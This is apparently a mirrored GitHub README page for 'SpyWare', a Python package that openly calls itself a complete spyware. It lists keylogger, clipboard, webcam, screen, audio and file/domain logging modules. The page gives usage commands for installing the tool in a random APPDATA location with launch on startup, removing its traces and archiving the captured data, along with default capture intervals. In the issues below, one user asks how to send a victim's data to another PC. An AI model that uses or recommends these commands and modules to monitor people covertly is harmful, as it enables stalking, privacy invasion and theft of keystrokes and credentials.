Giter Club home page Giter Club logo

spyware's Introduction

SpyWare logo

SpyWare

Description

This package implements a complete spyware.

Features:

  • KeyLogger
  • ClipboardLogger
  • Domains/IP logger
  • Webcam spy
  • Screen spy
  • Files logger
  • Recorder

Requirements

This package require:

  • python3
  • python3 Standard Library
  • pyautogui
  • opencv-python
  • pillow
  • pyperclip
  • pynput
  • pyaudio

Installation

pip install SpyWare

Usages

Command line

SpyWare                             # Run all modules
SpyWare runonly -s                  # Run only screen module
SpyWare runonly --screen --key      # Run only screen module and keylogger
SpyWare runonly --key my.conf       # Run only module key with custom configuration file
SpyWare --install                   # Install spyware in random destination, enable it and run all modules
SpyWare --enable                    # Enable the SpyWare (start on reboot)
SpyWare --env "keySpy.conf=my.conf" # Add an environment variable (this defined the name of the custom configuration file for the keylogger)
SpyWare donotrun --domains --webcam # Run all modules except domains and webcam

# Following arguments are executed on python exit
# To stop the spyware you should raise a KeyboardInterrupt (Ctrl-C in the terminal)
# Is not working on OS shutdown or process kill
SpyWare --remove                    # Remove all files generated by the SpyWare and the SpyWare (the executable file only)
SpyWare --tar                       # Add data generated by the SpyWare in a .tar archive
SpyWare --tar "gz"                  # Add data generated by the SpyWare in a .tar.gz archive (compressed)

Python executables

python3 WebcamLogger.pyz                  # Execute the webcam module
python3 WebcamLogger.pyz my.conf          # Execute the webcam module with custom configuration file
# OR
chmod u+x AudioLogger.pyz                 # Add execution permission
./AudioLogger.pyz my.conf                 # Execute the audio (recorder) module

python3 SpyWare.pyz runonly --files       # Run only the files modules
# OR
chmod u+x SpyWare.pyz                     # Add execution permission
./SpyWare.pyz donotrun --clipboard --key  # Run all modules except clipboard module and keylogger

Python module

python3 -m SpyWare                             # Run all modules
python3 -m SpyWare.AudioLogger                 # Run only one module
python3 -m SpyWare.WebcamLogger my.conf        # Run only one module with custom configuration file
python3 -m SpyWare.FilesLogger.FilesLogger     # Run only one module
python3 -m SpyWare.KeyLogger.KeyLogger my.conf # Run only one module with custom configuration file

Python script

from SpyWare import spyware
spyware()                    # Run all modules
from SpyWare import AudioLogger
from SpyWare.KeyLogger import keySpy
AudioLogger.audioSpy()       # Run audio (recorder) module
keySpy(filename="my.conf")   # Run keylogger with custom configuration file

There are three way to change the configuration filename:

  1. Using the filename argument of the configuration loader function
  2. Using environment variables (in python: os.environ). The name of the environment variable is the filename of the default configuration file.
  3. Using command line arguments

Examples available in HTML documentation of modules.

from SpyWare.FilesLogger import Daemon, filesConfig
filesConfig("my.conf")       # Load configuration
Daemon().run_for_ever()      # Start the daemon thread of "files" module
from SpyWare.ClipboardLogger import Daemon, copyConfig

from os import environ
environ["clipboardSpy.conf"] = "my.conf" # Change the environment variable

copyConfig()                             # Load configuration

daemon = Daemon()
daemon.run_for_ever()                    # Start the daemon thread of clipboard module
from SpyWare.ScreenLogger import Daemon, screenConfig

screenConfig(argv=["_", "my.conf"])      # Use custom argv to load configuration

daemon = Daemon()
daemon.run_for_ever()                    # Start the daemon thread of screen module

Default configurations

Clipboard

[SAVE]
filename = clipboard.txt

[TIME]
check_internval = 11

Recorder

[SAVE]
filename = record*.wav
dirname = records

[TIME]
interval = 3590
record_time = 10

Domains

[SAVE]
filename = domains.txt

[TIME]
interval_dns = 60
interval_appdata = 86400
interval_reading_file = 0.5
interval_domain = 0.05

Fileslogger

[SAVE]
filename = files.csv

[TIME]
file_interval = 0.1
directory_interval = 1
scan_interval = 86400

Keylogger

[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1

[TIME]

Screenshot

[SAVE]
filename = screenshot*.png
dirname = screenshots

[TIME]
screenshot_interval = 3600

Webcam

[SAVE]
filename = webcam*.png
dirname = pictures

[TIME]
picture_interval = 3600

Helps

~# SpyWare --help

SpyWare  Copyright (C) 2021, 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

usage: SpyWare.pyz [-h] [--env [ENV ...]] [--install] [--enable] [--remove] [--tar [{bz2,xz,gz}]] {runonly,donotrun} ...

This file implements a complete spyware.

positional arguments:
  {runonly,donotrun}    Modules selection type.
    runonly             Run only specified modules.
    donotrun            Do not run specified modules.

optional arguments:
  -h, --help            show this help message and exit
  --env [ENV ...], -e [ENV ...]
                        Add environment variable, values should be formatted as <key>=<value>
  --install, -i         Install the spyware in APPDATA and enabled it (launch on startup)
  --enable, -E          Enable the spyware (launch it on startup)
  --remove, -r          Remove spyware trace (executable/script, links and data)
  --tar [{bz2,xz,gz}], -t [{bz2,xz,gz}]
                        Build a tar file with data, optional value should be 'gz', 'xz', 'bz2' to compress.
~# SpyWare --help

SpyWare  Copyright (C) 2021, 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

usage: SpyWare.pyz runonly [-h] [--audio [AUDIO]] [--clipboard [CLIPBOARD]] [--domains [DOMAINS]] [--files [FILES]] [--key [KEY]] [--screen [SCREEN]] [--webcam [WEBCAM]]

optional arguments:
  -h, --help            show this help message and exit

modules:
  SpyWare modules to launch in this process.

  --audio [AUDIO], -a [AUDIO]
                        Run module audio with optional value as configuration file (default=audioSpy.conf).
  --clipboard [CLIPBOARD], -c [CLIPBOARD]
                        Run module clipboard with optional value as configuration file (default=clipboardSpy.conf).
  --domains [DOMAINS], -d [DOMAINS]
                        Run module domains with optional value as configuration file (default=domainsSpy.conf).
  --files [FILES], -f [FILES]
                        Run module files with optional value as configuration file (default=filesSpy.conf).
  --key [KEY], -k [KEY]
                        Run module key with optional value as configuration file (default=keySpy.conf).
  --screen [SCREEN], -s [SCREEN]
                        Run module screen with optional value as configuration file (default=screenSpy.conf).
  --webcam [WEBCAM], -w [WEBCAM]
                        Run module webcam with optional value as configuration file (default=webcamSpy.conf).
~# SpyWare --help

SpyWare  Copyright (C) 2021, 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

usage: SpyWare.pyz donotrun [-h] [--audio] [--clipboard] [--domains] [--files] [--key] [--screen] [--webcam]

optional arguments:
  -h, --help       show this help message and exit

modules:
  SpyWare modules to not launch in this process.

  --audio, -a      Do not run module audio.
  --clipboard, -c  Do not run module clipboard.
  --domains, -d    Do not run module domains.
  --files, -f      Do not run module files.
  --key, -k        Do not run module key.
  --screen, -s     Do not run module screen.
  --webcam, -w     Do not run module webcam.

Links

Licence

Licensed under the GPL, version 3.

spyware's People

Contributors

mauricelambert avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

spyware's Issues

How does the exe work?

Once you click it, it runs and creates file in the same directory. It does show up in Taskbar and you can end it. But how to remove it and ensure it's gone?

ModuleNotFoundError: No module named 'AudioLogger' / ImportError: cannot import name 'CopyLogger' from partially initialized module 'SpyWare'

Windows 10
Python 3.10
pip install pyautogui opencv-python pillow pyperclip pynput pyaudio
pip install SpyWare
SpyWare

PS C:\Users\...\Desktop\Spy> SpyWare
Traceback (most recent call last):
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\lib\site-packages\SpyWare\__init__.py", line 58, in <module>
    import AudioLogger
ModuleNotFoundError: No module named 'AudioLogger'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\Scripts\SpyWare-script.py", line 33, in <module>
    sys.exit(load_entry_point('SpyWare==1.0.2', 'console_scripts', 'SpyWare')())
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\Scripts\SpyWare-script.py", line 25, in importlib_load_entry_point
    return next(matches).load()
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\lib\importlib\metadata\__init__.py", line 171, in load
    module = import_module(match.group('module'))
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\lib\importlib\__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1050, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1027, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1006, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 688, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 883, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "C:\Users\...\AppData\Local\Programs\Python\Python310\lib\site-packages\SpyWare\__init__.py", line 68, in <module>
    from . import CopyLogger
ImportError: cannot import name 'CopyLogger' from partially initialized module 'SpyWare' (most likely due to a circular import) (C:\Users\...\AppData\Local\Programs\Python\Python310\lib\site-packages\SpyWare\__init__.py)

share data

is it possible to send the data of the person who opens the spyware to another pc?

No module named 'AudioLogger'

I copied and pasted this script:

from SpyWare import spyware
spyware()

This, according to the readme, should of started SpyWare. But it did not. Instead, I received this error:

Traceback (most recent call last):
File "c:/Users/cdsdc/Desktop/Coding/PWN/SpyWare", line 1, in
from SpyWare import spyware
File "C:\Users\cdsdc\AppData\Roaming\Python\Python38\site-packages\SpyWare_init_.py", line 67, in
from . import AudioLogger
File "C:\Users\cdsdc\AppData\Roaming\Python\Python38\site-packages\SpyWare\AudioLogger_init_.py", line 64, in
from AudioLogger import (
ModuleNotFoundError: No module named 'AudioLogger'

When I did what I usually do when receiving this error, (python -m pip install AudioLogger) it simply said:


Defaulting to user installation because normal site-packages is not writeable
ERROR: Could not find a version that satisfies the requirement AudioLogger (from versions: none)
ERROR: No matching distribution found for AudioLogger

This means that I do not have the matching python version. (I was using 3.8).

How would I go about fixing this?

I have a problem

I have a problem installing the spyware: when I copy and paste the "pip install SpyWare" code everything is fine, when I send it as well, but towards the end the error appears: "NameError: name 'packages' is not defined [end of output] note:
This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for SpyWare Running setup.py clean for SpyWare Failed to build SpyWare
ERROR: Could not build wheels for SpyWare, which is required to install pyproject.toml-based projects"
Do you have any idea how to fix it?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.